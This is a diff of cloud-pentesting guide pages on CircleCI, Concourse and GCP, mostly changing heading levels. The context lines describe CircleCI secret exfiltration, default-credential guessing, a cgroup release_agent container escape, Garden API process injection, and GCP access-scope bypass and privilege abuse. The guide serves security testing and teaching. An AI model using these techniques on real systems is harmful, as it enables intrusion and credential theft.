access them but just some people. {% endhint %} -## Attacks +# Attacks -### Search Clear Text Secrets +## Search Clear Text Secrets If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. -### Secret Env Vars & Context enumeration +## Secret Env Vars & Context enumeration Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. -### Exfiltrate Project secrets +## Exfiltrate Project secrets {% hint style="warning" %} In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). @@ -174,7 +172,7 @@ workflows: - exfil-env ``` -### Exfiltrate Context Secrets +## Exfiltrate Context Secrets You need to **specify the context name** (this will also exfiltrate the project secrets): @@ -235,7 +233,7 @@ workflows: Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. {% endhint %} -### Escape to Cloud +## Escape to Cloud **CircleCI** gives you the option to run **your builds in their machines or in your own**.\ By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. @@ -264,7 +262,7 @@ jobs: version: 19.03.13 ``` -### Persistence +## Persistence * It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. * _https://app.circleci.com/settings/user/tokens_ diff --git a/cloud-security/cloud-security-review.md b/cloud-security/cloud-security-review.md index 581e0460..ad072f38 100644 --- a/cloud-security/cloud-security-review.md +++ b/cloud-security/cloud-security-review.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Cloud Security Review - **Check for nice cloud hacking tricks in** [**https://hackingthe.cloud**](https://hackingthe.cloud) -## Generic tools +# Generic tools There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. -### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) +## [ScoutSuite](https://github.com/nccgroup/ScoutSuite) AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure @@ -33,7 +31,7 @@ AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure pip3 install scoutsuite ``` -### [cs-suite](https://github.com/SecurityFTW/cs-suite) +## [cs-suite](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean @@ -46,11 +44,11 @@ pip install -r requirements.txt python cs.py --help ``` -### Nessus +## Nessus Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. -### Common Sense +## Common Sense Take a look to the **network access rules** and detect if the services are correctly protected: @@ -59,7 +57,7 @@ Take a look to the **network access rules** and detect if the services are corre * Unprotected admin consoles? * In general, check that all services are correctly protected depending on their needs -## Azure +# Azure Access the portal here: [http://portal.azure.com/](http://portal.azure.com)\ To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. @@ -70,7 +68,7 @@ Then, run `az login` to login. Note the **account information** and **token** wi Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ (or try to access [https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22)).\ \_\_If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" (you can get some help using the following tools). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=\&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw\_wcB#microsoft-azure). -### Run scanners +## Run scanners Run the scanners to look for **vulnerabilities** and **compare** the security measures implemented with **CIS**. @@ -91,11 +89,11 @@ pip3 install azure-cis-scanner #Install azscan #Run, login before with `az login` ``` -### Attack Graph +## Attack Graph [**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. -### More checks +## More checks * Check for a **high number of Global Admin** (between 2-4 are recommended). Access it on: [https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview) * Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button. @@ -117,15 +115,15 @@ azscan #Run, login before with `az login` _Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_ * **Lack of App Services restrictions**: Look for "App Services" in Azure ([https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs. -## Office365 +# Office365 You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application. -## AWS +# AWS Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/FSecureLABS/awspx) -## GPC +# GPC {% content-ref url="gcp-security/" %} [gcp-security](gcp-security/) diff --git a/cloud-security/concourse/README.md b/cloud-security/concourse/README.md index 7a7b11be..d06f96e7 100644 --- a/cloud-security/concourse/README.md +++ b/cloud-security/concourse/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Concourse - **Concourse allows you to build pipelines to automatically run tests, actions and build images whenever you need it (time based, when something happens...)** -## Concourse Architecture +# Concourse Architecture Learn how the concourse environment is structured in: @@ -29,7 +27,7 @@ Learn how the concourse environment is structured in: [concourse-architecture.md](concourse-architecture.md) {% endcontent-ref %} -## Run Concourse Locally +# Run Concourse Locally Learn how you can run a concourse environment locally to do your own tests in: @@ -37,7 +35,7 @@ Learn how you can run a concourse environment locally to do your own tests in: [concourse-lab-creation.md](concourse-lab-creation.md) {% endcontent-ref %} -## Enumerate & Attack Concourse +# Enumerate & Attack Concourse Learn how you can enumerate the concourse environment and abuse it in: @@ -45,7 +43,7 @@ Learn how you can enumerate the concourse environment and abuse it in: [concourse-enumeration-and-attacks.md](concourse-enumeration-and-attacks.md) {% endcontent-ref %} -## References +# References * [https://concourse-ci.org/internals.html#architecture-worker](https://concourse-ci.org/internals.html#architecture-worker) diff --git a/cloud-security/concourse/concourse-architecture.md b/cloud-security/concourse/concourse-architecture.md index 37cc5331..029cf346 100644 --- a/cloud-security/concourse/concourse-architecture.md +++ b/cloud-security/concourse/concourse-architecture.md @@ -16,19 +16,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Concourse Architecture -### Architecture +# Architecture ![](<../../.gitbook/assets/image (651) (1) (1).png>) -#### ATC: web UI & build scheduler +## ATC: web UI & build scheduler The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. -#### TSA: worker registration & forwarding +## TSA: worker registration & forwarding The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). @@ -36,7 +35,7 @@ The TSA by **default listens on port `2222`**, and is usually colocated with the The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). -#### Workers +## Workers In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). diff --git a/cloud-security/concourse/concourse-enumeration-and-attacks.md b/cloud-security/concourse/concourse-enumeration-and-attacks.md index f60bce8b..6bada3af 100644 --- a/cloud-security/concourse/concourse-enumeration-and-attacks.md +++ b/cloud-security/concourse/concourse-enumeration-and-attacks.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Concourse Enumeration & Attacks - -## User Roles & Permissions +# User Roles & Permissions Concourse comes with five roles: @@ -35,14 +33,14 @@ Moreover, the **permissions of the roles owner, member, pipeline-operator and vi Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. -## Vars & Credential Manager +# Vars & Credential Manager In the YAML configs you can configure values using the syntax `((`_`source-name`_`:`_`secret-path`_`.`_`secret-field`_`))`.\ The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ The **optional **_**secret-field**_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. -### Static Vars +## Static Vars Static vars can be specified in **tasks steps**: @@ -59,7 +57,7 @@ Or using the following `fly` **arguments**: * `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. * `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. -### Credential Management +## Credential Management There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Moreover, Concourse supports different credential managers: @@ -78,11 +76,11 @@ Moreover, Concourse supports different credential managers: Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. {% endhint %} -## Concourse Enumeration +# Concourse Enumeration In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. -### Login and Current User enum +## Login and Current User enum * To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: * `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -93,7 +91,7 @@ In order to enumerate a concourse environment you first need to **gather valid c * Get **role** of the user against the indicated target: * `fly -t userinfo` -### Teams & Users +## Teams & Users * Get a list of the Teams * `fly -t teams` @@ -102,7 +100,7 @@ In order to enumerate a concourse environment you first need to **gather valid c * Get a list of users * `fly -t active-users` -### Pipelines +## Pipelines * **List** pipelines: * `fly -t pipelines -a` @@ -125,7 +123,7 @@ cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` -### Containers & Workers +## Containers & Workers * List **workers**: * `fly -t workers` @@ -134,18 +132,18 @@ rm /tmp/secrets.txt * List **builds** (to see what is running): * `fly -t builds` -## Concourse Attacks +# Concourse Attacks -### Credentials Brute-Force +## Credentials Brute-Force * admin:admin * test:test -### Secrets and params enumeration +## Secrets and params enumeration In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. -### Session inside running or recently run container +## Session inside running or recently run container If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: @@ -160,7 +158,7 @@ With these permissions you might be able to: * Try to **escape** to the node * Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) -### Pipeline Creation/Modification +## Pipeline Creation/Modification If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: @@ -195,7 +193,7 @@ With the **modification/creation** of a new pipeline you will be able to: * Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) * **Delete** created pipeline -### Execute Custom Task +## Execute Custom Task This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): @@ -221,7 +219,7 @@ params: fly -t tutorial execute --privileged --config task_config.yml ``` -### Escaping to the node from privileged task +## Escaping to the node from privileged task In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". @@ -241,20 +239,20 @@ echo 1 > /tmp/cgrp/x/notify_on_release # The host path will look like the following, but you need to change it: host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs" -## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: +# The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: #/dev/vda1 on /scratch type ext4 (rw,relatime) #/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime) #/dev/vda1 on /etc/hosts type ext4 (rw,relatime) #/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) -## Then next part I think is constant "hostpath-provisioner/default/" +# Then next part I think is constant "hostpath-provisioner/default/" -## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed +# For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed # "concourse-work-dir" is constant # "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API) # "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number) -## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant +# The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant # running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like: # workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028 # the UID is the part we are looking for @@ -289,7 +287,7 @@ cat /output As you might have noticed this is just a [**regular release\_agent escape**](../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged) just modifying the path of the cmd in the node {% endhint %} -### Escaping to the node from a Worker container +## Escaping to the node from a Worker container A regular release\_agent escape with a minor modification is enough for this: @@ -320,7 +318,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` -### Escaping to the node from the Web container +## Escaping to the node from the Web container Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). @@ -360,7 +358,7 @@ select * from teams; #Change the permissions of the users in the teams select * from users; ``` -### Abusing Garden Service - Not a real Attack +## Abusing Garden Service - Not a real Attack {% hint style="warning" %} This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before @@ -392,7 +390,7 @@ In the previous section we saw how to escape from a privileged container, so if Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. -#### Getting inside a running privileged container +### Getting inside a running privileged container ```bash # Get current container @@ -404,7 +402,7 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container -## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 +# In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' @@ -413,7 +411,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` -#### Creating a new privileged container +### Creating a new privileged container You can very easily create a new container (just run a random UID) and execute something on it: diff --git a/cloud-security/concourse/concourse-lab-creation.md b/cloud-security/concourse/concourse-lab-creation.md index aaa3d788..5cb6c9bb 100644 --- a/cloud-security/concourse/concourse-lab-creation.md +++ b/cloud-security/concourse/concourse-lab-creation.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Concourse Lab Creation +# Testing Environment -## Testing Environment +## Running Concourse -### Running Concourse - -#### With Docker-Compose +### With Docker-Compose This docker-compose file simplifies the installation to do some tests with concourse: @@ -34,7 +32,7 @@ docker-compose up -d You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` -#### With Kubernetes (Recommended) +### With Kubernetes (Recommended) You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). @@ -90,11 +88,11 @@ data: ' | kubectl apply -f - ``` -### Create Pipeline +## Create Pipeline A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). -### Steps +## Steps Several different type of steps can be used: @@ -112,7 +110,7 @@ Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concour Therefore, it's possible to indicate the type of container each step needs to be run in. -### Simple Pipeline Example +## Simple Pipeline Example ```yaml jobs: @@ -150,11 +148,11 @@ fly -t tutorial intercept --job pipe-name/simple Check **127.0.0.1:8080** to see the pipeline flow. -### Bash script with output/input pipeline +## Bash script with output/input pipeline It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. -### Triggers +## Triggers You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: diff --git a/cloud-security/gcp-security/README.md b/cloud-security/gcp-security/README.md index 1d3e7ffb..63cd5df8 100644 --- a/cloud-security/gcp-security/README.md +++ b/cloud-security/gcp-security/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP Security +# Security concepts -## Security concepts - -### **Resource hierarchy** +## **Resource hierarchy** Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions. @@ -36,7 +34,7 @@ Organization A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc. -### **IAM Roles** +## **IAM Roles** There are **three types** of roles in IAM: @@ -50,7 +48,7 @@ There are thousands of permissions in GCP. In order to check if a role has a per **You can find a** [**list of all the granular permissions here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.** -#### Basic roles +### Basic roles | Name | Title | Permissions | | ---------------- | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -85,11 +83,11 @@ Or to see the IAM policy [assigned to a single Compute Instance](https://cloud.g gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE] ``` -### **Organization Policies** +## **Organization Policies** The IAM policies indicates the permissions principals has over resources via roles which ara assigned granular permissions. Organization policies **restrict how those service can be used or which features are enabled disabled**. This helps in order to improve the least privilege of each resource in the gcp environment. -### **Terraform IAM Policies, Bindings and Memberships** +## **Terraform IAM Policies, Bindings and Memberships** As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google\_project\_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google\_project\_iam) using terraform with GCP there are different ways to grant a principal access over a resource: @@ -97,7 +95,7 @@ As defined by terraform in [https://registry.terraform.io/providers/hashicorp/go * **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**. * **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role). -### **Service accounts** +## **Service accounts** Virtual machine instances are usually **assigned a service account**. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default\_service\_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account **can be used by any user or application on the machine** to communicate with the Google APIs. You can run the following command to see what accounts are available to you: @@ -120,7 +118,7 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com If `gcloud auth list` returns **multiple** accounts **available**, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog. -### **Access scopes** +## **Access scopes** The **service account** on a GCP Compute Instance will **use** **OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT define the actual permissions**. @@ -159,7 +157,7 @@ This `cloud-platform` scope is what we are really hoping for, as it will allow u It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance. -### Default credentials +## Default credentials **Default service account token** @@ -194,7 +192,7 @@ When using one of Google's official GCP client libraries, the code will automati Finding the actual **JSON file with the service account credentials** is generally much **more** **desirable** than **relying on the OAuth token** on the metadata server. This is because the raw service account credentials can be activated **without the burden of access scopes** and without the short expiration period usually applied to the tokens. -### **Networking** +## **Networking** Compute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default\_firewall\_rules): allow outbound and deny inbound. @@ -247,16 +245,16 @@ We've automated this completely using [this python script](https://gitlab.com/gi * nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0) * masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0) -## Enumeration +# Enumeration -### Automatic Tools +## Automatic Tools * [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_enum:](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_enum:) Bash script to enumerate a GCP environment using gcloud cli and saving the results in * [https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation:](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation:) Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script) * [https://github.com/lyft/cartography:](https://github.com/lyft/cartography:) Tool to enumerate and print in a graph resources and relations of different cloud platforms * [https://github.com/RyanJarv/awesome-cloud-sec:](https://github.com/RyanJarv/awesome-cloud-sec:) This is a list of cloud security tools -### IAM +## IAM | Description | Command | | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | @@ -272,26 +270,26 @@ We've automated this completely using [this python script](https://gitlab.com/gi | List **custom** **roles** on a project | `gcloud iam roles list --project $PROJECT_ID` | | List **service accounts** | `gcloud iam service-accounts list` | -## Unauthenticated Attacks +# Unauthenticated Attacks {% content-ref url="gcp-buckets-brute-force-and-privilege-escalation.md" %} [gcp-buckets-brute-force-and-privilege-escalation.md](gcp-buckets-brute-force-and-privilege-escalation.md) {% endcontent-ref %} -#### Phishing +### Phishing You could **OAuth phish** a user with high privileges. -#### Dorks +### Dorks * **Github**: auth\_provider\_x509\_cert\_url extension:json -## Generic GCP Security Checklists +# Generic GCP Security Checklists * [Google Cloud Computing Platform CIS Benchmark](https://www.cisecurity.org/cis-benchmarks/) * [https://github.com/doitintl/secure-gcp-reference](https://github.com/doitintl/secure-gcp-reference) -## Local Privilege Escalation / SSH Pivoting +# Local Privilege Escalation / SSH Pivoting Supposing that you have compromised a VM in GCP, there are some **GCP privileges** that can allow you to **escalate privileges locally, into other machines and also pivot to other VMs**: @@ -301,9 +299,9 @@ Supposing that you have compromised a VM in GCP, there are some **GCP privileges If you have found some [**SSRF vulnerability in a GCP environment check this page**](../../pentesting-web/ssrf-server-side-request-forgery/#6440). -## GCP Post Exploitation +# GCP Post Exploitation -### GCP Interesting Permissions +## GCP Interesting Permissions The most common way once you have obtained some cloud credentials of has compromised some service running inside a cloud is to **abuse miss-configured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges. @@ -313,7 +311,7 @@ Moreover, during this enumeration, remember that **permissions can be set at the [gcp-interesting-permissions](gcp-interesting-permissions/) {% endcontent-ref %} -### Bypassing access scopes +## Bypassing access scopes When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. @@ -387,7 +385,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN You should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are **not limited by any instance-level access scopes**. You now have full power to use all of your assigned IAM permissions. -### Service account impersonation +## Service account impersonation Impersonating a service account can be very useful to **obtain new and better privileges**. @@ -397,7 +395,7 @@ There are three ways in which you can [impersonate another service account](http * Authorization **using Cloud IAM policies** (covered [here](broken-reference/)) * **Deploying jobs on GCP services** (more applicable to the compromise of a user account) -### Granting access to management console +## Granting access to management console Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**. @@ -413,7 +411,7 @@ If you succeeded here, try **accessing the web interface** and exploring from th This is the **highest level you can assign using the gcloud tool**. -### Spreading to Workspace via domain-wide delegation of authority +## Spreading to Workspace via domain-wide delegation of authority [**Workspace**](https://gsuite.google.com) is Google's c**ollaboration and productivity platform** which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. @@ -425,7 +423,7 @@ However, it's possible to **give** a service account **permissions** over a Work To create this relation it's needed to **enable it in GCP and also in Workforce**. -#### Test Workspace access +### Test Workspace access To test this access you'll need the **service account credentials exported in JSON** format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled. @@ -458,7 +456,7 @@ You can try this script across a range of email addresses to impersonate **vario If you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild. -### Looting +## Looting Another promising way to **escalate privileges inside the cloud is to enumerate as much sensitive information as possible** from the services that are being used. Here you can find some enumeration recommendations for some GCP services, but more could be used so feel free to submit PRs indicating ways to enumerate more services: @@ -496,13 +494,13 @@ There is a gcloud API endpoint that aims to **list all the resources the accessi [gcp-looting.md](gcp-looting.md) {% endcontent-ref %} -### Persistance +## Persistance {% content-ref url="gcp-persistance.md" %} [gcp-persistance.md](gcp-persistance.md) {% endcontent-ref %} -## Capture gcloud, gsutil... network +# Capture gcloud, gsutil... network ```bash gcloud config set proxy/address 127.0.0.1 @@ -521,7 +519,7 @@ gcloud config unset auth/disable_ssl_validation gcloud config unset core/custom_ca_certs_file ``` -## References +# References * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) diff --git a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md index 3f39c1d1..d6114317 100644 --- a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md +++ b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md @@ -16,22 +16,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## GCP - Buckets: Public Assets Brute-Force & Discovery, & Buckets Privilege Escalation -### Public Assets Discovery +# Public Assets Discovery One way to discover public cloud resources that belongs to a company is to scrape their webs looking for them. Tools like [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) will scrape the web an search for **links to public cloud resources** (in this case this tools searches `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']`) Note that other cloud resources could be searched for and that some times these resources are hidden behind **subdomains that are pointing them via CNAME registry**. -### Public Resources Brute-Force +# Public Resources Brute-Force -#### Buckets, Firebase, Apps & Cloud Functions +## Buckets, Firebase, Apps & Cloud Functions * [https://github.com/initstring/cloud\_enum](https://github.com/initstring/cloud\_enum): This tool in GCP brute-force Buckets, Firebase Realtime Databases, Google App Engine sites, and 